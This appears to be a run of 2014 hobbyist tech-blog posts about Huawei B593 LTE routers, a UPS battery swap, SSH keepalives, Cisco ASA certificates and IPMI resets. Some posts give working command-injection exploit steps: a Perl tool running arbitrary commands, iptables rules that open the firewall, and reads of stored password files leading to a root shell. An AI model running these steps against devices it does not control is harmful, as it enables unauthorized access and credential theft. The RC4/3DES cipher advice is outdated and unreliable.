Hardware - 8

I got a comment from John, he told me that a telco in Germany called Telekom has SP104 firmware out for B593 u-12. They seem to call it Speedport LTE II. The download link to the firmware is http://hilfe.telekom.de/dlp/eki/downloads/Speedport/Speedport%20LTE%20II/Firmware_Speedport_LTE_II_V100R001C748SP104.zip

The UI has English language, so it should be usable for us non-German speaking users too.

As usual, I did download and extract the firmware and all looks ok to me. Also as usual, I didn't test it. If you do, please comment how it went.

Update 21th May 2014:
Today John told me that, Telekom released a security update SP105 firmware. There is little information what the fix is, but you can get the lates from this link http://www.telekom.de/dlp/eki/downloads/Speedport/Speedport%20LTE%20II/Firmware_Speeport_LTE_II_B593u-12_V100R001C748SP105.zip

I got a comment about the firmware version numbers. How can you tell which one is a newer and which one is older? Well ... Huawei really does make this one difficult. I'm guessing all this has to do with the fact that any regular user should be insulated from the fact that his/hers hardware is manufactured by Huawei. Your beloved telco should be their face and you should be doing business with them and only them. Screw that! This is 2014 and the age of social networking in the Internet. Openness is the only real way to go.

Here is what I gatehered for B593 u-12. This is a list of firwares from oldest to newest:

This is for B593 s-22:

Just to be clear:
I don't know any of this to be factually correct, nor I can back any of this up from an "official" source. Feel free to correct me or suggest any other interpretation.

Update 18th May 2014:
Bilbo dropped me a comment with a link into https://app.box.com/s/0uim7fp7j4dzet2bpmhp. It provides more details about version numbering scheme Huawei uses. I did update the table headers with this new information.

My home Linux box is always on and to make sure it stays on I have an uninterruptible power supply for it. APC is very well supported in Linux by open-source apcupsd. Pretty much all other UPSes are supported by NUT, but for some strange reason APC has a separate project.

Update 20th May 2018: There is a new post about APC UPS batteries here.

Couple days ago the UPS started to beep. My house had electricity and there was no apparent fault. Except that I got an e-mail from apcupsd "UPS battery needs changing NOW". Aow crap! The batteries had reached their end of life. I confirmed the status with apcaccess and got status of:
STATUS : ONLINE REPLACEBATT NOBATT

Every 12 hours, the UPS releases a burst of beeps and I find that very annoying. It was time to go shopping for new batteries. Luckily my unit uses Replacement Battery Cartridge #7, which is popular and generally well available and the price ~200 € isn't too bad. The next thing is to get the old ones out and new ones in. APC user's manual says that battery pack is hot-swappable, so it should be an easy thing to do. Apparently the first thing to do is remove the front cover:

It has nice holes on the sides. I guess the idea is to put your fingers into them an pull hard.

When the front cover is loose, a ribbon-cable and a metal cover is revaled.

There are two phillips-head screws to hold the metal cover in place:

When the metal cover is removed, the battery pack is visible:

There is a plastic tab at the bottom. I guess it is there, so that batteries can be pulled out. Now that the metal cover is removed, the batteries are not attached to anything:

The final thing to do is to disconnect the battery pack:

Now the UPS keeps beeping a lot. It is annoyed by the fact, that it cannot find a battery. Since I don't have any original APC software on my computer I found out that the audible beep can be silenced. First make sure that the apcupsd is not running:
systemctl stop apcupsd.service

Now the apctest can be used to change any of the UPS-parameters:

Current alarm setting: ENABLED
Press...
 E to Enable alarms
 D to Disable alarms
 Q to Quit with no changes
Your choice: Select function: d

New alarm setting: DISABLED

Now there is the blissful silence. It is much nicer to operate with the new battery pack.

Obviously the idea is to reverse the instruction. Connect the new battery, slide it in and tighten the screws and attach the front cover back.

I guess, the new battery should last at least 3 years before I'll be getting a completely new UPS. There simply is no point in running a really old UPS with brand new batteries. I guess the UPS technology will still evolve so that a new tech is required after half a decade.

An active contributor for this blog, Mr. nos_com71 was kind enough to notify me about a firmware he found. It is from Polkomtel, a Polish telco. You can download the package from this link @ Norton Zone cloud. I had issues with the download, but using a different browser on another machine solved it for me.

I didn't install the firmware into my s-12, but as usual, I extracted it and confirmed its contents and version of V100R001C69SP103, which is quite new. In the Bjørn Grønli's spreadsheet the newest one he found is a SP102, but this Polish one seems to be a notch newer.

If any of you test this one out, please tell us about it.

I got a comment from Mr. nos_com71 about 3 Italy's firmware for u-12.

The download link is to Mediafire, which definitely is not my favorite place to pick up something I'd like to run on any of my computers. But if you think you can handle it, go for https://www.mediafire.com/?jut00ju7uov988z to get it.

Little bit of FMK:ing revealed, that 3 Italy is using a classic V100R001C12SP104 (see the article about 3 Denmark's firmware with exactly the same version). The important thing is, that he pointed out that the SSH passwords are stored unencrypted in /var/sshusers.cfg. This is exactly like my version does.

So, those people who are able to use the exploit, are able to know what the SSH-passwords are. A command like
B593cmd.pl "cat /var/sshusers.cfg" will give you immediate answer and a regular
ssh admin@-the-IP-here- /bin/sh will do the rest. As I previously stated, the thing is, you need to know the admin password to the web-console and old enough firmware to have the exploit in it to be table to any of that.

Couple of my users were complaining, that their SSH-connection dies when idling for a while. The client does not notice, that server is gone. It cannot regain communications and dies only after a transmission is attempted, failed and timed out.

My initial reaction was, that a firewall disconnects any "non-used" TCP-connections. The non-used may or may not be true, but the firewall thinks that and since it can make the decision, it disconnects the socket. There is one catch: if the TCP-socket is truly disconnected, both the server and the client should notice that and properly end the SSH-session. In this case they don't. For those readers not familiar with the details of TCP/IP see the state transition diagram and think half-closed connection as being ESTABLISHED, but unable to move into FIN_WAIT_1 because firewall is blocking all communications.

Googling got me to read a discussion thread @ Cisco's support forums titled SSH connections through asa hanging. There Mr. Julio Carvaja asks the original poster a question: "Can you check the Timeout configuration on your firewall and also the MPF setup. What's the Idle time you have configured for a TCP session?" So I did the same. I went to the box and on IOS CLI ran the classic show running-config, which contained the timeout values:

timeout conn 1:00:00 half-closed 0:10:00 udp 0:02:00 icmp 0:00:02

From that I deduce that any TCP-connection is dropped after one hour of idling. It is moved into half-closed state after 10 minutes of idle. The 10 minutes is in the time range of my user complaints. One hour is not. So essentially Cisco ASA renders the TCP-connection unusable and unable to continue transmitting data.

In the discussion forum there is suggestion to either prolong the timeout or enable SSH keepalive. I found the way of defining a policy for SSH in the ASA. There is an article titled ASA 8.3 and Later: Set SSH/Telnet/HTTP Connection Timeout using MPF Configuration Example, which describes the procedure in detail.

However, I choose not to do that, but employ keepalive-packets on my OpenSSHd. I studied my default configuration at /etc/ssh/sshd_config and deduced that keepalive is not in use. In the man-page of sshd_config(5) I can find 3 essentially required configuration directives:

• TCPKeepAlive: The master switch to enable/disable the mechanism.
• This is on by default, but this alone does not dicatate if the keepalive will be used or not
  
• ClientAliveInterval: The interval [in seconds] at how often a keepalive packet is being transmitted
• As default, this is 0 seconds, meaning that no packets will be sent.
  
• ClientAliveCountMax: The number of packets that a client did not respond to before declaring the connection dead
• As default this is 3. Still, no packets are sent ever, thus a client is never declared M.I.A. based on this criteria.
  

So to fix the failing SSH-session problem, the only thing I changed was to set a client alive interval. Since after 10 minutes of idling (600 seconds), the Cisco ASA will mess up the connection, I chose half of that, 300 seconds.

After restarting the sshd, opening a connection and idling for 5 minutes while snooping the transmission with Wireshark, I found out that my SSH server and client exchanged data after ever 300 seconds. The best thing about the fix is that it works! It solves the problem and SSH-connection stays functional after long period of idling.

Yesterday I was mighty pissed about Oracle's Java breaking my stuff. Then it occurred to me: I shouldn't be using self-signed certificates in the first place! See my post about Certificate Authority setup: Doing it right with OpenSSL, where I wrote "My personal recommendation is to never use self-signed certificates for anything". And there I was! Darn.

I figured, that there must be a way of stop the stupidity and install an own certificate to the network appliance. Then I bumped into ASA 8.x: Renew and Install the SSL Certificate with ASDM, a PDF-document from Cisco instructing how to achieve that. Nice! Exactly what I needed.

This is how to do it. Log into ASDM and go to Configuration -> Device Management -> Certificate Management -> Identify Certificates. It looks like this:

There you can find Add-button:

You should add a new identify certificate. I used the Default-RSA-Key, but Cisco's own documentation says to generate a new one. In case SSH-keys need to be regenerated, the SSL-certificate won't work anymore. In my case I can simply recreate the certificate also, so it is not an issue to me. After you click Add Certificate:

You will get a dialog to save the Certificate Signing Request (CSR) into a local drive to be sent to a Certification Authority (CA) to be processed.

After your CSR has gone trough and you have your certificate in PEM-format go back to ASDM and select Install this time. You will get a dialog:

Upload or copy/paste the PEM certificate there and click Install Certificate. After that you'll have an identity:

Now the next thing to do is to start using the newly created identity. In Configuration -> Device Management -> Advanced -> SSL Settings there is an option to choose an identity to use when ASDM is being accessed via HTTPS or ASDM-IDM.

To get better results from Qualsys SSL Labs server test I did following changes:

• SSL-version is set to TLS V1 Only, that is TLS 1.0 only. 1.1 nor 1.2 is not available.
• For encryption I'm only using:
• 112-bit 3DES-SHA1
• 128-bit RC4-SHA1
• 128-bit RC4-MD5
• The AES-encryptions for 128-bit or 256-bit failed on my box for some reason. If you have them, please use those! The chosen 3 crypto algos provide reasonable security, but the AES-ones are better.
  

After an Apply the new certificate is in use. You can verify that via a web browser from HTTPS-interface or go to Control Panel's Java security settings and remove the self-signed certificate from secure site certificates -list. The ASDM-login will work again.

This one really made me laugh. The entire situation was like from T-2: "Skynet begins to learn at a geometric rate. It becomes self-aware at 2:14 a.m."

I was trying to see the remote console of one of my servers:

It said: "Could not create token for this session. Max session limit might have reached". This was yet another reminder that Asus iKVM isn't the sharpest tool in the box, it generally responds slowly and sometimes it does weird things. Thanks to Java, it wasn't easy to get the console application running, it said a number of things, including a complaint:

... but after sorting out a number of Java issues it spat out an error-message with XML-content of:

<jnlp spec="1.0+" codebase="http://192.168.1.11/Java">
    <information>
        <title>JViewer</title>
        <vendor>American Megatrends, Inc.</vendor>
        <description kind="one-line">JViewer Console Redirection Application</description>
        <description kind="tooltip">JViewer Console Redirection Application</description>
        <description kind="short"> JViewer enables a user to view the video display of managed
            server via KVM. It also enables the user to redirect his local keyboard, mouse for
            managing the server remotely. </description>
    </information>

...
    <resources>
        <j2se version="1.5+"/>
        <jar href="release/JViewer.jar"/>
    </resources>
    <application-desc>
        <argument>192.168.1.11</argument>
        <argument>7578</argument>
        <argument>
            <html>
                <head>
                    <title>Document Error: Page not found</title>
                </head>
                <body>
                    <h2>Access Error: Page not found</h2>
                    <p>Could not create token for this session. Max session limit might have reached
                    </p>
                </body>
            </html>
        </argument>
    </application-desc>
</jnlp>

I found out somebody who had the same issue at Asus' discussion forums article [Problem]iKVM Remote Control Console w/ Java exception error. There was a suggestion to unplug the power cord. In my case the server is couple hundred kilometers away in a secure data center where I certainly do not have any access. Sure, I could write the support and ask them to do that but ... I'm pretty sure there has to be a way to reset the BMC remotely.

Then I remembered something I did a while ago with ipmitool on Linux-shell. Running:

# ipmitool bmc help
MC Commands:
  reset <warm|cold>
  guid
  info

There is a reset-command in the list. Google led me to an article "Restarting an IBM BMC without restarting the server itself". I wasn't sure what would happen. My first guess was that it would do the same thing as typing "google" into a Google search - the entire world would implode to a singularity. So it is very important not to that. But I really needed the remote console. I was willing to try:

# ipmitool bmc reset cold
Sent cold reset command to MC

Nothing serious happened immediately. The Linux was responsive and world didn't come to an end. After a minute or so, ipmitool bmc info -command yielded a response! The IPMI was back on-line. A logon to web-console:

Yep. I had my console back.

I sure hope that all remote console manufacturers would stop using Java for their apps. It is such a bitch to get a Java application working on after 1.7.0_51 was released. See: "Java 7u51 will not accept JNLP with self-signed certificate?" about other people complaining about that. Anyway, all ended well and I didn't have to drive to the server to do some maintenance.

I needed a new rack-server to fit in a standard 19" telco-rack. Your average rack-mounted server is 60 to 100 cm long. A rack-server may be really thin. 1U (4,5 cm) or less, but really long. Then again, your average telco rack is not long enough for a long server, they may be 40 to 50 cm and not all of them have brackets for mounting the back. My requirement of mounting a server into a telco-rack hugely limits the options to choose a server from. One final requirement I had was that the server must have IPMI 2.0, because that would guarantee KVM over IP.

But after a longish search I found one. The bad news was, that it was a Supermicro, a SuperServer 5015A-EHF-D525 to be exact. Supermicro's track-record on failing IPMI-security is known, see an earlier blog post about it. Anyway, I got a vendor from UK who would order one. They didn't have them in stock and such small rack-servers are quite inexpensive, but don't sell like hotcakes. Who would be crazy enough to want one? I am, so put an order in with the Boston Ltd. It didn't take them many weeks and I got my server delivered.

Here are the pics from front and back:

In the front there is couple of LEDs, power and reset buttons. In the back there are couple of USB 2.0 -ports and two RJ-45 for 100 Mbit/s Ethernet. It is possible to run IPMI on a shared Ethernet-port or a dedicated one. In my setup I didn't want to have the extra cable and went for a shared setup. The port announces itself as two different MAC-addresses and effectively gets two different DHCP-addresses. One for IPMI and one for the operating system.

This is what it looks inside:

Notice how the Intel SSD -drive is not attached properly yet at the time of taking the pic. The motherboard is really small. The only fan is in the PSU, no other ones are required as the Intel Atom CPU does not produce too much heat and the GPU isn't much of a rocket. The tiny box is almost empty, even with a 2.5" SSD in it.

In the BIOS I found that there is a lot of watchdogging to do, there are two of them:

I don't know what the BIOS watchdog is good for as it keeps triggering if turned on. For the IPMI's watchdog there is a Linux-daemon.

Anyway, except the small size and 32-bit Atom CPU there is nothing special in it. 10 years ago such a server would have been a state-of-the-art box, but on today's standards its just a small low-power unit.

On the positive side, IPMI's web console has a setting for IP Access Control. I tested it and it seems to work. It closes all the ports for everybody else. Since the raw rules are not available for inspection, there still may be couple of network blocks which are allowed. These days you cannot help being suspicious.

This is a special box. If you happen to need a silent low-power server, then go with a 5015A-EHF-D525.

I got my hands on Huawei E3276. It is a 4G LTE USB-stick. The model I tested appears to be a model s-150. According to 4GLTEmall.com it has following frequencies available in FDD: 800 MHz, 900 MHz, 1800 MHz, 2100 MHz and 2600 MHz. The newer 4G modulation of TDD is not available.

It looks like this:

On the side there is a slot for MicroSD-card and a standard CRC9-connector which Huawei is using for all of its USB-products. See this vid (with cheesy music) to see an external antenna connected to a Huawei. The pics:

You open the stick by sliding the white cover to left. Then you can insert a mini SIM-card (in my pic there is a micro-SIM to mini-SIM adapter sleeve):

In general it resembles your average Huawei 3G-stick a lot, the only difference is that it is little bit wider. I still remember how big a Huawei E220 felt when the 2nd gen 3G-sticks (E160/E169/etc.) came. As you would expect, when the USB-stick is inserted, it appears as a CD-drive with the classic Huawei Mobile Partner setup in the "disc". After you install the drivers and the software, there is pretty much no way of telling that you are not running on a 3G but a 4G. The mobile partner has features to lock it into LTE-mode and it indicates the connection type of 3G WCDMA, 3G DC and LTE properly.

This is how it looks like on a side of a Lenovo Ideapad S10:

Generally I was pretty pleased with the stick. It is clearly an evolution version of a 3G stick. The feeling is that it is a 3G on steroids. The antenna is very sensitive and my testing revealed that it keeps the connection open even if there is zero bars of reception. However, it is quite expensive currently. In Finland you can get one from a telco with 99,- € with a contract. The unlocked ones are around 150,- €.

It worked on Windows 7 without problems, but as a Linux-man I had to try and see if it works. Unfortunately there are issues with that. Linux recognizes the stick as a Huawei E352 3G-stick, does the modeswitch from storage mode to modem mode properly and a /dev/ttyUSB0 appears, but it does not connect to The Net. A short minicom session indicated, that the modem is there and is receving commands:

atz
OK
ati
Manufacturer: huawei
Model: E3276
Revision: 21.192.05.00.00
IMEI: 863781010000000
+GCAP: +CGSM,+DS,+ES

OK

It seems to have a new Type Allocation Code code of 86378101 for Huawei. Not all databases have that yet.

The Linux chatter in The Net is that 4g-connect-linux -script should be able to make a connection. I tried it with varying parameters, but somehow the new wwan0-interface didn't have a proper device attached into it and all I got was ioctl SIOCGIFHWADDR: No such device -errors. Search for "cdc_ncm e3276" to get a number of posts about that.

I also did some ping-testing on 3G Dual-Carrier versus 4G LTE. The bandwidth is really a no contest, LTE will win that one hands down as 3G DC has a theoretical cap on 42 Mbit/s. That's pretty much the point where LTE starts! My measurements also confirmed that. A 50 Mbit/s connection limit imposed by the telco measures 69 Mbit/s in reality. Not bad, huh!

Anyway, a simple ping-test says:

• Forced 3G DC: Minimum = 31ms, Maximum = 1217ms, Average = 66ms
• Forced LTE: Minimum = 24ms, Maximum = 460ms, Average = 35ms (Winner!)

The fluctuation in a mobile connection is there. When something happens in the air, there will be delays and retransmissions. But when conditions are nearing optimal, on LTE it is difficult to differentiate mobile connection from a wired one. That's the reason I'm so thrilled about LTE availability. 3G is ok for surfing the web, but LTE is the first mobile technology that really performs!

Final words:
The Huawei E3276 is definitely a keeper. Now that Finnish telcos have an agreement about the 800 MHz 4G usage, they are investing heavily on their LTE-networks. Even pre-paid data has 4G on some telcos. The stick does not replace my B593 which is meant for non-mobile usage, but for a laptop I'll be definitely keep using this one.

First I'd like to apologize. At least twice I've said that it is impossible to force B593 to stay out of 3G-mode and force it to stay on 4G LTE. That is not true. It is an incorrect statement by me and I'm sorry that I didn't investigate the facts before making such statements.

Here is a (slightly photoshopped) screenshot of my own device:

There actually is such an option in General Settings --> Internet Settings --> Network mode. And you can select LTE Only and it will work as expected.

For device hackers, the /var/curcfg.xml will have the setting:

<?xml version="1.0" ?>
<InternetGatewayDeviceConfig>
  <InternetGatewayDevice>
    <WANDevice NumberOfInstances="3">
      <WANDeviceInstance InstanceID="2">
        <WANConnectionDevice NumberOfInstances="1">
          <WANConnectionDeviceInstance InstanceID="1">
            <WANIPConnection NumberOfInstances="2">
              <WANIPConnectionInstance InstanceID="1"
                                 X_NetworkPriority="LTE Only"

Valid options for X_NetworkPriority "AUTO", "WCDMA Only" and "LTE Only".

After changing the setting my connection has been more stable than ever (on Danish 3's firmware). There has been occasions where my connection has dropped to 2.5G, see the blog post about it, but after fixing the LTE-only -mode things changed to most robust ever.

I finally cracked this! Just to clarify, I'm running an u-12 model with the Danish 3 firmware.

Using the ping-exploit to loosen firewall rules

The first thing to is open the firewall to allow local access to the box. In my article about DMZ-setting I already established, that all the good ports are blocked by IPtables in the Linux. So, the previously published exploit is needed (I'm doing this on my Linux PC):

./B593cmd.pl -the-IP- -the-admin-Pwd- "iptables -I INPUT -i br0 -j ACCEPT"

Now all ports are open from the LAN, but there are no changes to the Internet side. We confirm this by running nmap:

Nmap scan report for -the-IP-
Host is up (0.0082s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
443/tcp  open  https
631/tcp  open  ipp
8081/tcp open  blackice-icecap
MAC Address: F8:3D:FF:F8:3D:FF (Huawei Technologies Co.)

That is something that I have been able to do earlier, but could not gain anything concrete out of it.

Confirm that you know the CLI-password

Now that we can run any commands to the box, let's confirm the configuration:

./B593cmd.pl -the-IP- -the-admin-Pwd- "cat /var/curcfg.xml" | less

The output is a very long XML-file. The good parts are:

<UserInterface>
    <X_Web Timeout="5">
        <HttpUpg UpdateURL="update-westerneurope.huaweidevice.com" UpdatePort="80"
            CheckNewVer="/westerneurope"/>
        <UserInfo NumberOfInstances="2">
            <UserInfoInstance InstanceID="1" Username="admin" Userpassword="HoHSyzm0ye4="
                IsChanged="1"/>
            <UserInfoInstance InstanceID="2" Username="user" Userpassword="2n+mVpCOAaY=" IsChanged="0"/>
        </UserInfo>
    </X_Web>
    <X_Cli>
        <UserInfo NumberOfInstances="2">
            <UserInfoInstance InstanceID="1" Username="admin" Userpassword="f5338SA1kb4=" Userlevel="0"/>
            <UserInfoInstance InstanceID="2" Username="user" Userpassword="2n+mVpCOAaY=" Userlevel="1"/>
        </UserInfo>
    </X_Cli>
</UserInterface>

The output clearly says, that web-GUI and telnet/SSH command line interface have separate user accounts for them. However, the passwords are encrypted. I have been able to determine, that it is a BASE64-encoded string and the binary format increases in 64-bit blocks. The only conclusion is to assume, that the passwords are encrypted with a symmetrical block cipher, but the encryption key, cipher mode of operation and possible initialization vector are currently unknown.

Luckily I know what f5338SA1kb4= and 2n+mVpCOAaY= stand for. They are the default passwords to the box anyway and the manual says that default admin password is admin and default user password is user. Logical, huh? If you don't know the password for CLI-admin, there is no way that you're getting in.

Trying out the SSH

Now, what can we do with the fact, that SSH is now open and we know the password for privileged admin-user? A SSH-login, when using the correct CLI-password will yield:

# ssh admin@-the-IP-
admin@-the-IP-'s password:
Write failed: Broken pipe

Not cool. In my exploit-tool -article, I referred to Mr. Ronkainen's work at http://blog.asiantuntijakaveri.fi/. He said to execute a specific command via SSH. My next attempt is to follow his instruction:

# ssh admin@-the-IP- /bin/sh
admin@-the-IP-'s password:
-------------------------------
-----Welcome to ATP Cli------
-------------------------------
ATP>

WHOOO!!

Now the hidden shell-command will work:

-------------------------------
-----Welcome to ATP Cli------
-------------------------------
ATP>shell
shell

BusyBox vv1.9.1 (2012-11-20 16:01:41 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

Nice!

SSH with non-privileged user / Telnet

To test this further, I attempted to login with user user. The non-privileged user does not have the hidden shell-command available and no access will be granted:

# ssh user@-the-IP- /bin/sh     
user@-the-IP-'s password:
-------------------------------
-----Welcome to ATP Cli------
-------------------------------
ATP>shell
shell
Command failed.

Also trying to access the ATP Cli via telnet does not work:

# telnet -the-IP-
Trying -the-IP-...
Connected to -the-IP-.
Escape character is '^]'.
-------------------------------
-----Welcome to ATP Cli------
-------------------------------

Login: admin
Password:
Login incorrect. Try again.

I don't know if the telnet is disconnected completely, or is there yet another set of accounts, but web-GUI nor CLI user credentials won't work there.

Future ventures

Anyway. Now that I have the shell-access I have a much better possibility of doing more mischief.

I need to explore the config system more as it would be very very nice to have the firewall allow SSH on boot. Now the only way to allow SSH is to use the exploit and leverage the IPtables. Also on public request, I'm going to implement QoS.

Stay tuned for more B593 hacking!

Mr. Ronkainen at http://blog.asiantuntijakaveri.fi/ has done some really good research on Huawei B593 web interface. He discovered that the ping-command in diagnostics runs any command you'd like to. Really! Any command.

I being a lazy person didn't want to use cURL to do all the hacking, that's way too much work for me. So, I did a quick hack for a Perl-script to do the same thing. Get my script from http://opensource.hqcodeshop.com/Huawei%20B593/exploit/B593cmd.pl

To use my script, you'll need 3 parameters

1. The host name or IP-address of your router, typically it is 192.168.1.1
2. The admin password, typically it is admin
3. The command to run. Anything you want. 

Example command B593cmd.pl 192.168.1.1 admin "iptables -nL INPUT" will yield:

Chain INPUT (policy ACCEPT)
target     prot opt source               destination        
DROP       all  --  0.0.0.0/0            0.0.0.0/0           state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED
INPUT_DOSFLT  all  --  0.0.0.0/0            0.0.0.0/0          
INPUT_SERVICE_ACL  all  --  0.0.0.0/0            0.0.0.0/0          
INPUT_URLFLT  all  --  0.0.0.0/0            0.0.0.0/0          
INPUT_SERVICE  all  --  0.0.0.0/0            0.0.0.0/0          
INPUT_FIREWALL  all  --  0.0.0.0/0            0.0.0.0/0     

In my box the SSHd does not work. No matter what I do, it fails to open a prompt. I'll continue investigating the thing to see if it yields with a bigger hammer or something.

Happy hacking!

I was looking for a firmware for s-22 and minutes after finding the Vodafone firmware, a Telenor one popped up. It must be a really new one, as I cannot find any comments about it from The Net. The download location for the firmware version V100R001C00SP070 is at http://stup.telenor.net/huawei-b593/V100R001C00SP070/.

I didn't test this version either. If you do the upgrade, please drop me a comment. The version number and router compatibility information comes from extracted firmware header it says (in hexdump -C):

# hexdump -C Telenor_fmk/image_parts/header.img | head
00000000  48 44 52 30 00 d0 8f 00  cf 3b 61 18 00 00 01 00  |HDR0.....;a.....|
00000010  1c 01 00 00 a4 14 16 00  00 00 00 00 42 35 39 33  |............B593|
00000020  2d 55 31 32 00 00 00 00  00 00 00 00 56 31 30 30  |-U12........V100|
00000030  52 30 30 33 43 30 33 42  30 30 38 00 00 00 00 00  |R003C03B008.....|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 56 31 30 30  |............V100|
00000050  52 30 30 31 43 30 30 53  50 30 37 30 00 00 00 00  |R001C00SP070....|
00000060  00 00 00 00 00 00 00 00  00 00 00 00 56 65 72 2e  |............Ver.|
00000070  42 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |B...............|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 31 31 2e 34  |............11.4|
00000090  33 33 2e 36 31 2e 30 30  2e 30 30 30 00 00 00 00  |33.61.00.000....|

This is the the obligatory warning: if you have a s-22 DON'T update with this firmware. If you don't know which version you have: DON'T update with this firmware. Nobody want's to brick the router, right? It is expensive and all.

Update 5th March 2014:
Mr. Bjørn Grønli shared his test results with us. Here is a spreadsheet to various B593u-12 firmware and their features.